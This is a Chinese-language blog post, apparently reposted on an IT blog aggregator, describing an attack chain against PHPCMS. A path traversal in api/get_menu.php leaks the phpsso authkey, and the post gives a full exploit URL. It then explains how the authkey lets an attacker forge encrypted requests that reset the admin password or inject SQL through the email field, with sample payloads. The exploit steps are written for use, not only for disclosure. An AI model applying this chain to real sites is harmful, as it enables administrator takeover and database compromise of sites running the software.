IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    PHPCMS最新版本authkey泄露可注射拿shell

    没穿底裤发表于 2015-06-06 01:12:58
    love 0

    authkey泄露可以导致一系列安全问题
    之前是在有一个《PHPCMS V9 一个为所欲为的漏洞》。可以参考这篇文章,这这篇文章的作者爆了这样一个点

    public function getapplist() {
    		$applist = getcache('applist', 'admin');
    		exit(serialize($applist));
    	}

    厂商同学直接忽略了,但是却自己修复了(不评论),修复为

    public function getapplist() {
    		$applist = getcache('applist', 'admin');
    		foreach($applist as $key=>$value){
    			unset($applist[$key]['authkey']);
    		}
    		exit(serialize($applist));

    修复得很不仔细,看来厂商真的觉得这不是个洞。好啊,那么肯定就会有其它点了,既然不重视这个点,我们来看\api\get_menu.php:

    function ajax_getlist() {
    	$cachefile = $_GET['cachefile'];
    	$cachefile = str_replace(array('/', '//'), '', $cachefile);
    	//$cachefile = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $cachefile);
    	$path = $_GET['path'];
    	$path = str_replace(array('/', '//'), '', $path);
    	//$path = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $path);
    	$title = $_GET['title'];
    	$key = $_GET['key'];
    	$infos = getcache($cachefile,$path);
    	$where_id = intval($_GET['parentid']);
    	$parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]);
    	foreach($infos AS $k=>$v) {
    		if($v['parentid'] == $where_id) {
    			if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
    			$s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
    		}
    	}
    	if(count($s)>0) {
    		$jsonstr = json_encode($s);
    		echo trim_script($_GET['callback']).'(',$jsonstr,')';
    		exit;			
    	} else {
    		echo trim_script($_GET['callback']).'()';exit;		
    	}
    }

    其中的getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容。
    那么如果这样的链接会督导什么内容呢?

    http://www.test.org/api.php?op=get_menu&act;=ajax_getlist&callback;=aaaaa&parentid;=0&key;=authkey&cachefile;=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path;=admin

    11
    不过这里厂商又会忽略的。那么我们看看authkey怎么用
    在\phpsso_server\phpcms\modules\phpsso\index.php中含有如下函数:

    public function edit() {
    
    		$this->email = isset($this->data['email']) ? $this->data['email'] : '';
    
    		$this->uid = isset($this->data['uid']) ? $this->data['uid'] : '';
    
    
    
    		$userinfo = $this->getuserinfo(1);
    
    		
    
    		if (isset($this->data['password']) && !empty($this->data['password'])) {
    
    			$this->password = create_password($this->data['password'], $userinfo['random']);
    
    		}
    
    		
    
    		$this->random = !empty($this->data['random']) ? $this->data['random'] : $userinfo['random'];
    
    		if (isset($this->data['newpassword']) && !empty($this->data['newpassword'])) {
    
    			$this->newpassword = create_password($this->data['newpassword'], $this->random);
    
    		}
    
    
    
    		if ($userinfo == -1) {
    
    			exit('-1');
    
    		}
    
    
    
    		if (isset($this->password) && !empty($this->password) && $userinfo['password'] != $this->password) {
    
    			exit('-2');
    
    		}
    
    
    
    		if ($this->email && $userinfo['email'] != $this->email) {
    
    			if($this->checkemail(1) == -1) exit('-3');
    
    		}	
    
    		
    
    		$data = array();
    
    		$data['appname'] = $this->applist[$this->appid]['name'];
    
    		
    
    		if (!empty($this->email) && $userinfo['email'] != $this->email) {
    
    			$data['email'] = $this->email;
    
    		}
    
    
    
    		if (isset($this->newpassword) && $userinfo['password'] != $this->newpassword) {
    
    			$data['password'] = $this->newpassword;
    
    			$data['random'] = $this->random;
    
    		}
    
    
    
    		if (!empty($data)) {
    
    			
    
    			//ucenter部份
    
    			if ($this->config['ucuse']) {
    
    				pc_base::load_config('uc_config');
    
    				require_once PHPCMS_PATH.'api/uc_client/client.php';
    
    				$r = uc_user_edit($userinfo['username'], '', (isset($this->data['newpassword']) && !empty($this->data['newpassword']) ? $this->data['newpassword'] : ''), $data['email'],1);
    
    				if ($r != 1) {
    
    				 //{-1:用户不存在;-2:旧密码错误;-3:email已经存在 ;1:成功;0:未作修改}
    
    					switch ($r) {
    
    						case '-1':
    
    							exit('-2');
    
    						break;
    
    						case '0':				
    
    						case '-4':						
    
    						case '-5':						
    
    						case '-6':
    
    						case '-7':
    
    						case '-8':
    
    							exit('0');
    
    						break;
    
    					}
    
    				}
    
    			}
    
    			if (empty($data['email'])) unset($data['email']);
    
    		
    
    			/*插入消息队列*/
    
    			$noticedata = $data;
    
    			$noticedata['uid'] = $userinfo['uid'];
    
    			messagequeue::add('member_edit', $noticedata);
    
    			if($this->username) {
    
    				$res = $this->db->update($data, array('username'=>$this->username));
    
    			} else {
    
    				$res = $this->db->update($data, array('uid'=>$this->uid));
    
    			}
    
    			exit("$res");
    
    		} else {
    
    			exit('0');
    
    		}
    
    	}

    里面有数据库的操作,应该是用于密码更改的。我们来构造一个data数据,加密前:

    uid=1&newpassword;=admin123456

    利用上面的authkey以及cms自带的加解密函数即可进行加密。在这里,我们除了可以修改密码,还可以进行注入

    uid=1&email;=123'

    具体的利用方式可参考
    http://0cx.cc/phpcms_phpsso_auth_key.jspx



沪ICP备19023445号-2号
友情链接